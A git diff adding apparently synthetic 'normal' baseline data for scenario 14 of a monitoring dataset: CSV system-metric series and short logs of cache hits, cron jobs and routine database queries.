+2025-08-22 10:03:25+00:00,13.38,39.95,0.97,0,17.16,37.86 +2025-08-22 10:03:30+00:00,14.02,37.75,0.62,0,21.5,39.24 +2025-08-22 10:03:35+00:00,10.46,38.23,0.92,0,19.18,38.39 +2025-08-22 10:03:40+00:00,10.57,29.9,1.08,4,22.47,38.93 +2025-08-22 10:03:45+00:00,11.81,25.74,0.86,3,16.58,35.17 +2025-08-22 10:03:50+00:00,11.39,22.59,1.21,4,21.13,35.52 +2025-08-22 10:03:55+00:00,11.89,34.8,0.68,1,17.68,44.66 +2025-08-22 10:04:00+00:00,12.36,22.43,0.91,4,21.06,38.47 +2025-08-22 10:04:05+00:00,10.78,39.28,1.39,2,18.83,40.05 +2025-08-22 10:04:10+00:00,10.66,22.56,1.09,1,18.7,38.56 +2025-08-22 10:04:15+00:00,11.34,34.37,1.3,2,20.87,40.94 +2025-08-22 10:04:20+00:00,10.76,20.43,0.87,1,16.34,40.42 +2025-08-22 10:04:25+00:00,10.9,24.0,0.97,3,16.13,37.57 +2025-08-22 10:04:30+00:00,12.29,33.14,1.21,2,17.81,38.2 +2025-08-22 10:04:35+00:00,14.52,26.74,0.77,1,18.12,37.93 +2025-08-22 10:04:40+00:00,13.67,32.89,0.88,2,17.06,42.78 +2025-08-22 10:04:45+00:00,13.79,34.17,0.76,0,18.42,41.82 +2025-08-22 10:04:50+00:00,10.01,31.55,0.71,0,19.4,44.67 +2025-08-22 10:04:55+00:00,12.98,24.93,1.11,0,18.9,39.16 +2025-08-22 10:05:00+00:00,14.55,25.15,1.48,1,22.8,43.77 +2025-08-22 10:05:05+00:00,10.47,21.16,0.66,3,18.45,42.92 +2025-08-22 10:05:10+00:00,10.75,21.6,0.63,4,16.38,40.98 +2025-08-22 10:05:15+00:00,14.09,26.96,0.99,1,24.58,41.13 +2025-08-22 10:05:20+00:00,14.7,24.17,0.5,2,19.51,40.0 +2025-08-22 10:05:25+00:00,14.85,22.79,0.8,2,18.47,37.95 +2025-08-22 10:05:30+00:00,12.88,25.79,0.96,3,17.93,41.62 +2025-08-22 10:05:35+00:00,13.42,23.39,0.9,1,23.07,44.94 +2025-08-22 10:05:40+00:00,11.54,37.66,0.96,3,19.46,40.63 +2025-08-22 10:05:45+00:00,11.37,33.71,0.69,3,20.0,40.7 +2025-08-22 10:05:50+00:00,10.7,33.64,1.02,3,22.03,37.48 +2025-08-22 10:05:55+00:00,12.57,37.73,1.1,2,18.07,37.45 +2025-08-22 10:06:00+00:00,14.32,26.59,1.08,1,17.13,38.19 +2025-08-22 10:06:05+00:00,14.34,39.26,0.99,4,19.89,43.76 +2025-08-22 10:06:10+00:00,14.51,34.53,1.26,4,15.07,42.23 +2025-08-22 10:06:15+00:00,11.73,20.29,1.21,0,19.38,43.85 +2025-08-22 10:06:20+00:00,14.01,26.54,0.86,4,15.48,38.24 +2025-08-22 10:06:25+00:00,13.47,23.01,1.18,2,22.27,35.05 +2025-08-22 10:06:30+00:00,12.64,28.86,1.49,1,16.94,40.09 +2025-08-22 10:06:35+00:00,12.19,30.16,0.62,0,17.04,35.64 +2025-08-22 10:06:40+00:00,14.32,21.95,1.05,3,22.32,35.68 +2025-08-22 10:06:45+00:00,10.58,22.94,0.79,1,17.89,36.21 +2025-08-22 10:06:50+00:00,12.71,23.97,1.48,2,21.77,38.81 +2025-08-22 10:06:55+00:00,11.49,35.52,0.76,2,20.83,42.61 +2025-08-22 10:07:00+00:00,12.43,27.92,0.6,1,24.68,36.74 +2025-08-22 10:07:05+00:00,10.93,27.48,1.21,1,21.07,42.27 +2025-08-22 10:07:10+00:00,14.4,29.32,1.36,3,17.56,35.83 +2025-08-22 10:07:15+00:00,14.78,22.03,0.63,0,23.2,36.69 +2025-08-22 10:07:20+00:00,14.18,28.89,1.37,2,21.63,42.65 +2025-08-22 10:07:25+00:00,13.44,39.63,0.83,3,16.75,39.44 diff --git a/norm_dataset/scenario_14/norm_14_12.log b/norm_dataset/scenario_14/norm_14_12.log new file mode 100644 index 0000000000000000000000000000000000000000..c93122329e1e86b420624eee9611d86a517be037 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_12.log @@ -0,0 +1,20 @@ +Aug 22 10:00:25 web-app[1582]: DEBUG Cache hit for key user:67 +Aug 22 10:00:45 systemd[1]: INFO Starting daily cron job... +Aug 22 10:00:55 postgres[3456]: LOG: statement: SELECT * FROM orders WHERE id=7; +Aug 22 10:01:00 web-app[1582]: DEBUG Cache hit for key user:95 +Aug 22 10:01:25 systemd[1]: INFO Starting daily cron job... +Aug 22 10:01:30 web-app[1582]: DEBUG Cache hit for key user:64 +Aug 22 10:02:05 web-app[1582]: DEBUG Cache hit for key user:78 +Aug 22 10:02:20 systemd[1]: INFO Starting daily cron job... +Aug 22 10:04:10 systemd[1]: INFO Starting daily cron job... +Aug 22 10:04:25 web-app[1582]: DEBUG Cache hit for key user:46 +Aug 22 10:04:30 web-app[1582]: DEBUG Cache hit for key user:70 +Aug 22 10:04:40 web-app[1582]: DEBUG Cache hit for key user:76 +Aug 22 10:04:45 web-app[1582]: DEBUG Cache hit for key user:12 +Aug 22 10:05:00 web-app[1582]: DEBUG Cache hit for key user:21 +Aug 22 10:05:35 web-app[1582]: DEBUG Cache hit for key user:29 +Aug 22 10:05:40 web-app[1582]: DEBUG Cache hit for key user:44 +Aug 22 10:05:50 systemd[1]: INFO Starting daily cron job... +Aug 22 10:06:20 web-app[1582]: DEBUG Cache hit for key user:48 +Aug 22 10:06:45 postgres[3456]: LOG: statement: SELECT * FROM orders WHERE id=1; +Aug 22 10:07:20 web-app[1582]: DEBUG Cache hit for key user:17 diff --git a/norm_dataset/scenario_14/norm_14_13.csv b/norm_dataset/scenario_14/norm_14_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..4f9e8494a75a0a06948de60d68dd890ceb26ec43 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-23T10:00:00Z,13.86,41.72,5.08,1.17,0.99,2 +2025-08-23T10:00:05Z,13.16,41.6,9.09,0.86,0.95,2 +2025-08-23T10:00:10Z,12.44,41.06,5.72,0.81,0.91,1 +2025-08-23T10:00:15Z,14.3,42.64,8.2,0.91,0.86,3 +2025-08-23T10:00:20Z,10.42,40.92,9.66,1.09,0.84,4 +2025-08-23T10:00:25Z,13.74,43.61,5.43,0.83,1.0,0 +2025-08-23T10:00:30Z,11.08,42.07,8.06,0.82,1.01,4 +2025-08-23T10:00:35Z,11.03,43.87,5.89,1.16,1.16,1 +2025-08-23T10:00:40Z,13.56,43.37,5.0,1.15,1.05,1 +2025-08-23T10:00:45Z,14.82,43.14,9.86,0.9,0.93,1 +2025-08-23T10:00:50Z,12.35,41.89,9.85,1.03,0.88,3 +2025-08-23T10:00:55Z,14.91,40.48,9.95,1.06,0.87,1 +2025-08-23T10:01:00Z,14.74,42.66,5.26,1.03,0.88,2 +2025-08-23T10:01:05Z,10.72,42.87,6.66,0.82,1.0,1 +2025-08-23T10:01:10Z,12.04,42.22,7.11,1.2,0.82,3 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b/norm_dataset/scenario_14/norm_14_13.log new file mode 100644 index 0000000000000000000000000000000000000000..4c2b5964ee402dd54fce04b4f4746ae482f0700e --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_13.log @@ -0,0 +1,20 @@ +Aug 23 10:00:00 systemd[1]: Starting system maintenance... +Aug 23 10:00:05 web-app[2345]: INFO GET /api/v1/products/101 status=200 OK (from cache) +Aug 23 10:00:25 web-app[2345]: INFO GET /api/v1/products/102 status=200 OK (from cache) +Aug 23 10:00:40 web-app[2345]: INFO Cache hit for key: products:102 +Aug 23 10:01:05 web-app[2345]: INFO GET /api/v1/users/34 status=200 OK (from cache) +Aug 23 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:01:30 web-app[2345]: INFO GET /api/v1/products/101 status=200 OK (from cache) +Aug 23 10:01:55 web-app[2345]: INFO Cache hit for key: products:101 +Aug 23 10:02:10 web-app[2345]: DEBUG Cache miss for key: products:new, fetching from DB +Aug 23 10:02:10 postgres[1122]: LOG: statement: SELECT * FROM products WHERE status = 'new' LIMIT 10; +Aug 23 10:02:40 web-app[2345]: INFO GET /api/v1/users/35 status=200 OK (from cache) +Aug 23 10:03:00 systemd[1]: Daily clean up activities finished. +Aug 23 10:03:25 web-app[2345]: INFO GET /api/v1/products/105 status=200 OK (from cache) +Aug 23 10:03:50 web-app[2345]: INFO GET /api/v1/products/102 status=200 OK (from cache) +Aug 23 10:04:10 web-app[2345]: INFO Cache hit for key: users:35 +Aug 23 10:04:35 web-app[2345]: INFO GET /api/v1/users/34 status=200 OK (from cache) +Aug 23 10:05:00 web-app[2345]: INFO GET /api/v1/products/101 status=200 OK (from cache) +Aug 23 10:05:30 web-app[2345]: INFO GET /api/v1/products/101 status=200 OK (from cache) +Aug 23 10:06:05 web-app[2345]: INFO Cache hit for key: products:101 +Aug 23 10:07:00 web-app[2345]: INFO GET /api/v1/users/34 status=200 OK (from cache) diff --git a/norm_dataset/scenario_14/norm_14_14.csv b/norm_dataset/scenario_14/norm_14_14.csv new file mode 100644 index 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+1,20 @@ +Aug 22 10:02:30 postgres[$3213]: INFO executing query for user_id: 152 +Aug 22 10:02:35 web-app[1491]: INFO cache miss for key: item::39301 +Aug 22 10:02:45 web-app[1491]: INFO cache miss for key: item::33299 +Aug 22 10:02:50 web-app[1491]: INFO cache miss for key: item::32960 +Aug 22 10:03:00 postgres[$3213]: INFO executing query for user_id: 102 +Aug 22 10:03:05 web-app[1491]: INFO cache miss for key: item::38241 +Aug 22 10:03:15 web-app[1491]: INFO cache miss for key: item::35346 +Aug 22 10:03:20 web-app[1491]: INFO cache miss for key: item::34308 +Aug 22 10:03:30 postgres[$3213]: INFO executing query for user_id: 110 +Aug 22 10:03:35 web-app[1491]: INFO cache miss for key: item::19907 +Aug 22 10:03:45 web-app[1491]: INFO cache miss for key: item::12983 +Aug 22 10:03:50 web-app[1491]: INFO cache miss for key: item::39256 +Aug 22 10:04:00 postgres[$3213]: INFO executing query for user_id: 113 +Aug 22 10:04:05 web-app[1491]: INFO cache miss for key: item::12333 +Aug 22 10:04:15 web-app[1491]: INFO cache miss for key: item::29309 +Aug 22 10:04:20 web-app[1491]: INFO cache miss for key: item::44259 +Aug 22 10:04:30 postgres[$3213]: INFO executing query for user_id: 156 +Aug 22 10:04:35 web-app[1491]: INFO cache miss for key: item::13902 +Aug 22 10:04:45 web-app[1491]: INFO cache miss for key: item::23806 +Aug 22 10:04:55 web-app[1491]: INFO cache miss for key: item::11428 diff --git a/norm_dataset/scenario_14/norm_14_15.csv b/norm_dataset/scenario_14/norm_14_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..a9965ab957b7b46616c26fea412e1476bbfafbbb --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,17.72,38.45,5.16,1.41,0.98 +2025-08-15T10:00:05Z,16.33,38.19,13.17,0.65,0.87 +2025-08-15T10:00:10Z,14.88,37.11,6.44,0.52,0.77 +2025-08-15T10:00:15Z,18.6,40.28,11.4,0.77,0.65 +2025-08-15T10:00:20Z,10.84,36.84,14.32,1.23,0.59 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+2025-08-15T10:07:05Z,11.85,38.74,12.14,0.85,1.4 +2025-08-15T10:07:10Z,18.79,39.66,13.57,1.22,1.44 +2025-08-15T10:07:15Z,19.57,36.02,6.34,1.05,1.31 +2025-08-15T10:07:20Z,18.37,39.44,13.71,0.8,1.36 +2025-08-15T10:07:25Z,16.88,44.82,8.28,1.14,1.27 diff --git a/norm_dataset/scenario_14/norm_14_15.log b/norm_dataset/scenario_14/norm_14_15.log new file mode 100644 index 0000000000000000000000000000000000000000..d628573c3c18ed2ad6e92a18c1baa1edabe7caef --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_15.log @@ -0,0 +1,20 @@ +Aug 15 10:00:10 web-app[1357]: INFO Cache hit for key 'user:profile:123' +Aug 15 10:00:30 web-app[1357]: GET /api/v1/user/12 status=200 OK +Aug 15 10:00:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:25 web-app[1357]: GET /api/v1/dashboard status=200 OK +Aug 15 10:01:30 web-app[1357]: GET /api/v1/dashboard status=200 OK +Aug 15 10:01:40 web-app[1357]: INFO Cache hit for key 'session:xyz' +Aug 15 10:01:55 web-app[1357]: INFO Cache hit for key 'user:profile:123' +Aug 15 10:02:05 database[543]: INFO connection closed +Aug 15 10:02:50 database[543]: INFO connection received from web-app-1 +Aug 15 10:03:00 database[543]: INFO connection received from web-app-1 +Aug 15 10:03:20 web-app[1357]: INFO Cache hit for key 'session:xyz' +Aug 15 10:03:45 web-app[1357]: GET /api/v1/user/12 status=200 OK +Aug 15 10:04:50 web-app[1357]: GET /api/v1/products/45 status=200 OK +Aug 15 10:05:20 database[543]: INFO connection closed +Aug 15 10:05:40 web-app[1357]: GET /api/v1/products/45 status=200 OK +Aug 15 10:06:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:06:40 database[543]: INFO connection closed +Aug 15 10:06:55 database[543]: INFO connection received from web-app-1 +Aug 15 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:07:15 database[543]: INFO connection received from web-app-1 diff --git a/norm_dataset/scenario_14/norm_14_16.csv b/norm_dataset/scenario_14/norm_14_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..86bed459f3a9734643584df95f2c38d40e20f04b --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_16.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu_usage,db_mem_usage,db_disk_io,db_net_in,db_net_out,cache_misses +2025-07-03T10:00:00Z,17.72,33.45,15.16,1.41,0.98,6 +2025-07-03T10:00:05Z,16.33,33.19,23.17,0.65,0.87,3 +2025-07-03T10:00:10Z,14.88,32.11,16.44,0.52,0.77,3 +2025-07-03T10:00:15Z,18.6,35.28,21.4,0.77,0.65,6 +2025-07-03T10:00:20Z,10.84,31.84,24.32,1.23,0.59,2 +2025-07-03T10:00:25Z,17.48,37.22,15.86,0.57,1.01,8 +2025-07-03T10:00:30Z,12.16,34.14,21.12,0.56,1.02,9 +2025-07-03T10:00:35Z,12.07,37.73,16.78,1.39,1.39,2 +2025-07-03T10:00:40Z,17.12,36.74,15.01,1.38,1.12,8 +2025-07-03T10:00:45Z,19.64,36.28,24.72,0.75,0.82,6 +2025-07-03T10:00:50Z,14.71,33.78,24.71,1.07,0.7,2 +2025-07-03T10:00:55Z,19.82,30.96,24.91,1.15,0.68,8 +2025-07-03T10:01:00Z,19.48,35.33,15.51,1.08,0.7,6 +2025-07-03T10:01:05Z,11.44,35.74,18.33,0.55,1.0,9 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a/norm_dataset/scenario_14/norm_14_16.log b/norm_dataset/scenario_14/norm_14_16.log new file mode 100644 index 0000000000000000000000000000000000000000..80ab4aa920532aaa582bdb66de85c3b062235b70 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_16.log @@ -0,0 +1,22 @@ +Jul 03 10:00:25 postgres[5678]: LOG duration: 19.0 ms +Jul 03 10:00:25 postgres[5678]: LOG statement: SELECT * FROM users WHERE id = 43; +Jul 03 10:00:30 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:35 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:45 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:20 web-app[1234]: DEBUG Cache hit for user_data:46 +Jul 03 10:01:25 web-app[1234]: DEBUG Cache hit for user_data:76 +Jul 03 10:01:50 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:55 web-app[1234]: INFO Cache miss for user_data:28, fetching from DB +Jul 03 10:02:00 web-app[1234]: DEBUG Cache hit for user_data:44 +Jul 03 10:02:05 web-app[1234]: DEBUG Cache hit for user_data:48 +Jul 03 10:02:40 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:50 web-app[1234]: DEBUG Cache hit for user_data:17 +Jul 03 10:03:55 web-app[1234]: DEBUG Cache hit for user_data:30 +Jul 03 10:04:05 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:30 web-app[1234]: DEBUG Cache hit for user_data:75 +Jul 03 10:04:55 postgres[5678]: LOG duration: 14.0 ms +Jul 03 10:04:55 postgres[5678]: LOG statement: SELECT * FROM users WHERE id = 51; +Jul 03 10:05:00 web-app[1234]: DEBUG Cache hit for user_data:50 +Jul 03 10:05:15 web-app[1234]: DEBUG Cache hit for user_data:63 +Jul 03 10:05:50 web-app[1234]: DEBUG Cache hit for user_data:74 +Jul 03 10:06:10 web-app[1234]: DEBUG Cache hit for user_data:26 diff --git a/norm_dataset/scenario_14/norm_14_17.csv b/norm_dataset/scenario_14/norm_14_17.csv new file mode 100644 index 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statement: SELECT * FROM products WHERE id = 258; +Aug 15 14:33:10 app-server[4567]: INFO Cache miss for key: user:1135 +Aug 15 14:33:20 postgres[8888]: LOG: statement: SELECT * FROM products WHERE id = 188; +Aug 15 14:33:30 app-server[4567]: INFO Cache miss for key: user:1828 +Aug 15 14:33:35 postgres[8888]: LOG: statement: SELECT * FROM products WHERE id = 359; +Aug 15 14:33:45 app-server[4567]: INFO Cache miss for key: user:1084 +Aug 15 14:33:55 postgres[8888]: LOG: statement: SELECT * FROM products WHERE id = 300; +Aug 15 14:34:00 app-server[4567]: INFO Cache miss for key: user:1758 +Aug 15 14:34:05 postgres[8888]: LOG: statement: SELECT * FROM products WHERE id = 469; +Aug 15 14:34:15 app-server[4567]: INFO Cache miss for key: user:1569 +Aug 15 14:34:20 postgres[8888]: LOG: statement: SELECT * FROM products WHERE id = 116; +Aug 15 14:34:25 app-server[4567]: INFO Cache miss for key: user:1062 +Aug 15 14:34:35 postgres[8888]: LOG: statement: SELECT * FROM products WHERE id = 169; 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+2025-07-03T10:06:55Z,17.16,38.95,31.61,1.05,1.19,7 +2025-07-03T10:07:00Z,18.87,46.44,32.18,1.08,1.0,7 +2025-07-03T10:07:05Z,14.05,41.93,26.76,1.1,0.82,7 +2025-07-03T10:07:10Z,17.04,37.39,31.01,0.95,1.08,9 +2025-07-03T10:07:15Z,18.6,28.79,29.3,1.22,1.05,10 +2025-07-03T10:07:20Z,14.4,34.83,34.7,1.05,0.77,10 +2025-07-03T10:07:25Z,14.47,44.67,28.05,1.13,0.95,11 diff --git a/norm_dataset/scenario_14/norm_14_18.log b/norm_dataset/scenario_14/norm_14_18.log new file mode 100644 index 0000000000000000000000000000000000000000..94caba92e82bc6f5dca833611bc0325226d4f3a2 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_18.log @@ -0,0 +1,22 @@ +Jul 03 10:00:05 web-app[1234]: DEBUG cache hit for key: user:profile:1230 +Jul 03 10:00:25 web-app[1234]: DEBUG cache hit for key: user:profile:1231 +Jul 03 10:00:50 web-app[1234]: DEBUG cache hit for key: user:profile:1232 +Jul 03 10:01:20 web-app[1234]: DEBUG cache hit for key: user:profile:1233 +Jul 03 10:01:50 web-app[1234]: DEBUG cache hit for key: user:profile:1234 +Jul 03 10:02:35 web-app[1234]: INFO cache miss for key: product:details:9875, fetching from DB. +Jul 03 10:02:45 web-app[1234]: INFO cache miss for key: product:details:9876, fetching from DB. +Jul 03 10:02:55 web-app[1234]: INFO cache miss for key: product:details:9877, fetching from DB. +Jul 03 10:03:05 web-app[1234]: INFO cache miss for key: product:details:9878, fetching from DB. +Jul 03 10:03:10 postgres[5678]: LOG: query: SELECT * FROM products WHERE id = 9879; +Jul 03 10:03:15 web-app[1234]: INFO cache miss for key: product:details:9879, fetching from DB. +Jul 03 10:03:25 web-app[1234]: INFO cache miss for key: product:details:98710, fetching from DB. +Jul 03 10:03:35 web-app[1234]: INFO cache miss for key: product:details:98711, fetching from DB. +Jul 03 10:03:40 postgres[5678]: LOG: query: SELECT * FROM products WHERE id = 98711; +Jul 03 10:03:45 web-app[1234]: INFO cache miss for key: product:details:98712, fetching from DB. +Jul 03 10:03:55 web-app[1234]: INFO cache miss for key: product:details:98713, fetching from DB. +Jul 03 10:04:05 web-app[1234]: INFO cache miss for key: product:details:98714, fetching from DB. +Jul 03 10:05:10 web-app[1234]: DEBUG cache hit for key: user:profile:45615 +Jul 03 10:05:40 web-app[1234]: DEBUG cache hit for key: user:profile:45616 +Jul 03 10:06:10 web-app[1234]: DEBUG cache hit for key: user:profile:45617 +Jul 03 10:06:40 web-app[1234]: DEBUG cache hit for key: user:profile:45618 +Jul 03 10:07:10 web-app[1234]: DEBUG cache hit for key: user:profile:45619 diff --git a/norm_dataset/scenario_14/norm_14_19.csv b/norm_dataset/scenario_14/norm_14_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..10d269b4405a452717152bae46dc1973863e2d23 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_19.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu,db_disk_io,db_net_in,cache_hits,cache_misses +2025-08-23 02:00:00,10.23353881733364,8.387130718470228,1.0351793115798125,942,1 +2025-08-23 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02:07:05,12.292924048787675,8.489422572815236,1.3028729683571016,840,1 +2025-08-23 02:07:10,12.748023188535951,8.83450055749268,1.5972629234405815,847,2 +2025-08-23 02:07:15,11.339364728332145,8.968596973838277,1.7444871772401933,956,3 +2025-08-23 02:07:20,10.54235739532803,8.757286472706465,1.9409369067661648,902,1 +2025-08-23 02:07:25,10.267931914443833,5.885266768391407,1.2770495659531451,957,2 diff --git a/norm_dataset/scenario_14/norm_14_19.log b/norm_dataset/scenario_14/norm_14_19.log new file mode 100644 index 0000000000000000000000000000000000000000..13c667db19edc3e4cd56f4f4ef1e721d4513d313 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_19.log @@ -0,0 +1,20 @@ +Aug 23 02:00:00 web-app[1236]: DEBUG Cache hit for user_id: 55 +Aug 23 02:00:10 web-app[1235]: DEBUG Cache hit for user_id: 30 +Aug 23 02:00:20 web-app[1236]: DEBUG Cache hit for user_id: 20 +Aug 23 02:00:30 database[5432]: INFO Successful query: SELECT * FROM users WHERE id = 27 +Aug 23 02:00:40 web-app[1234]: DEBUG Cache hit for user_id: 16 +Aug 23 02:01:10 web-app[1235]: DEBUG Cache hit for user_id: 99 +Aug 23 02:01:55 web-app[1235]: DEBUG Cache hit for user_id: 66 +Aug 23 02:02:00 web-app[1236]: DEBUG Cache hit for user_id: 9 +Aug 23 02:02:05 database[5433]: INFO Successful query: SELECT * FROM users WHERE id = 99 +Aug 23 02:02:30 web-app[1236]: DEBUG Cache hit for user_id: 57 +Aug 23 02:03:05 web-app[1236]: DEBUG Cache hit for user_id: 1 +Aug 23 02:03:10 database[5432]: INFO Successful query: SELECT * FROM users WHERE id = 60 +Aug 23 02:04:25 web-app[1235]: DEBUG Cache hit for user_id: 70 +Aug 23 02:04:35 web-app[1235]: DEBUG Cache hit for user_id: 46 +Aug 23 02:04:40 web-app[1235]: DEBUG Cache hit for user_id: 20 +Aug 23 02:05:30 web-app[1234]: DEBUG Cache hit for user_id: 83 +Aug 23 02:05:55 web-app[1236]: DEBUG Cache hit for user_id: 43 +Aug 23 02:06:00 web-app[1236]: DEBUG Cache hit for user_id: 74 +Aug 23 02:06:45 web-app[1235]: DEBUG Cache hit for user_id: 28 +Aug 23 02:07:15 web-app[1236]: DEBUG Cache hit for user_id: 56 diff --git a/norm_dataset/scenario_14/norm_14_2.csv b/norm_dataset/scenario_14/norm_14_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..4ffcef5a53c4e52e17760ce1c13f5bf90a9b8d79 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_2.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu,db_disk_io,db_net_in,cache_misses +2025-07-02T11:00:00Z,13.67472179402982,27.12717005615269,1.2000196183016338,4 +2025-07-02T11:00:05Z,16.39753939705836,34.92081395443027,1.0190232260910526,2 +2025-07-02T11:00:10Z,14.696776188040701,24.69191342491755,0.9489799842649445,2 +2025-07-02T11:00:15Z,14.240774105611127,26.27565388796767,0.8023961161799442,3 +2025-07-02T11:00:20Z,19.10194802318575,24.940017529745013,0.6168073557783799,4 +2025-07-02T11:00:25Z,11.656154748203779,28.96951882094432,1.112705375591485,1 +2025-07-02T11:00:30Z,16.654308283075494,31.79233262755906,0.9628646480475056,5 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0000000000000000000000000000000000000000..fe31d163684fa07069389efeb76683949e196159 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_2.log @@ -0,0 +1,116 @@ +Jul 02 11:00:00 postgres[3715]: LOG: statement: SELECT on orders completed in 3.06ms +Jul 02 11:00:05 app-server[1801]: INFO Cache hit for user_profile:62 +Jul 02 11:00:10 app-server[1107]: INFO Cache hit for user_profile:33 +Jul 02 11:00:15 app-server[1801]: INFO Cache hit for user_profile:31 +Jul 02 11:00:20 app-server[1107]: INFO Cache hit for user_profile:49 +Jul 02 11:00:25 app-server[1490]: INFO Cache hit for user_profile:98 +Jul 02 11:00:30 app-server[1490]: INFO Cache hit for user_profile:59 +Jul 02 11:00:35 app-server[1490]: INFO Cache hit for user_profile:23 +Jul 02 11:00:40 app-server[1801]: INFO Cache hit for user_profile:27 +Jul 02 11:00:40 postgres[3129]: LOG: statement: SELECT on products completed in 0.81ms +Jul 02 11:00:40 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:45 app-server[1107]: INFO Cache hit for user_profile:48 +Jul 02 11:00:45 postgres[3129]: LOG: statement: UPDATE on products completed in 0.81ms +Jul 02 11:00:50 app-server[1107]: INFO Cache hit for user_profile:31 +Jul 02 11:00:55 postgres[3129]: LOG: statement: SELECT on orders completed in 3.49ms +Jul 02 11:01:00 app-server[1801]: INFO Cache hit for user_profile:94 +Jul 02 11:01:00 postgres[3129]: LOG: statement: UPDATE on orders completed in 0.79ms +Jul 02 11:01:05 postgres[3715]: LOG: statement: SELECT on users completed in 2.96ms +Jul 02 11:01:05 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:10 app-server[1107]: INFO Cache hit for user_profile:50 +Jul 02 11:01:15 app-server[1801]: INFO Cache hit for user_profile:11 +Jul 02 11:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:20 app-server[1801]: INFO Cache hit for user_profile:65 +Jul 02 11:01:25 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:35 app-server[1801]: INFO Cache hit for user_profile:29 +Jul 02 11:01:35 postgres[3715]: LOG: statement: UPDATE on products completed in 3.08ms +Jul 02 11:01:35 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:40 app-server[1107]: INFO Cache hit for user_profile:34 +Jul 02 11:01:45 app-server[1490]: INFO Cache hit for user_profile:55 +Jul 02 11:01:50 app-server[1490]: INFO Cache hit for user_profile:9 +Jul 02 11:01:55 app-server[1490]: INFO Cache hit for user_profile:12 +Jul 02 11:02:00 app-server[1801]: INFO Cache hit for user_profile:60 +Jul 02 11:02:05 app-server[1107]: INFO Cache hit for user_profile:7 +Jul 02 11:02:05 postgres[3129]: LOG: statement: SELECT on products completed in 1.93ms +Jul 02 11:02:10 app-server[1107]: INFO Cache hit for user_profile:9 +Jul 02 11:02:10 postgres[3129]: LOG: statement: SELECT on users completed in 1.99ms +Jul 02 11:02:15 app-server[1107]: INFO Cache hit for user_profile:83 +Jul 02 11:02:20 app-server[1490]: INFO Cache hit for user_profile:67 +Jul 02 11:02:25 app-server[1107]: INFO Cache hit for user_profile:16 +Jul 02 11:02:25 postgres[3129]: LOG: statement: SELECT on products completed in 2.12ms +Jul 02 11:02:30 app-server[1801]: INFO Cache hit for user_profile:18 +Jul 02 11:02:35 app-server[1801]: INFO Cache hit for user_profile:63 +Jul 02 11:02:35 postgres[3715]: LOG: statement: SELECT on products completed in 3.30ms +Jul 02 11:02:40 app-server[1107]: INFO Cache hit for user_profile:63 +Jul 02 11:02:45 app-server[1107]: INFO Cache hit for user_profile:15 +Jul 02 11:02:50 postgres[3129]: LOG: statement: SELECT on products completed in 1.98ms +Jul 02 11:02:55 app-server[1801]: INFO Cache hit for user_profile:80 +Jul 02 11:03:00 app-server[1490]: INFO Cache hit for user_profile:4 +Jul 02 11:03:00 postgres[3715]: LOG: statement: UPDATE on users completed in 3.85ms +Jul 02 11:03:10 app-server[1107]: INFO Cache hit for user_profile:57 +Jul 02 11:03:15 app-server[1490]: INFO Cache hit for user_profile:52 +Jul 02 11:03:15 postgres[3715]: LOG: statement: SELECT on orders completed in 3.07ms +Jul 02 11:03:20 app-server[1107]: INFO Cache hit for user_profile:14 +Jul 02 11:03:20 postgres[3129]: LOG: statement: SELECT on products completed in 4.86ms +Jul 02 11:03:25 app-server[1490]: INFO Cache hit for user_profile:59 +Jul 02 11:03:30 app-server[1801]: INFO Cache hit for user_profile:18 +Jul 02 11:03:35 app-server[1801]: INFO Cache hit for user_profile:38 +Jul 02 11:03:40 postgres[3715]: LOG: statement: SELECT on users completed in 4.77ms +Jul 02 11:03:45 app-server[1801]: INFO Cache hit for user_profile:13 +Jul 02 11:03:45 postgres[3129]: LOG: statement: SELECT on orders completed in 4.63ms +Jul 02 11:03:50 app-server[1490]: INFO Cache hit for user_profile:5 +Jul 02 11:03:55 app-server[1490]: INFO Cache hit for user_profile:48 +Jul 02 11:04:00 app-server[1801]: INFO Cache hit for user_profile:72 +Jul 02 11:04:00 postgres[3715]: LOG: statement: SELECT on users completed in 3.75ms +Jul 02 11:04:10 app-server[1801]: INFO Cache hit for user_profile:81 +Jul 02 11:04:10 postgres[3129]: LOG: statement: 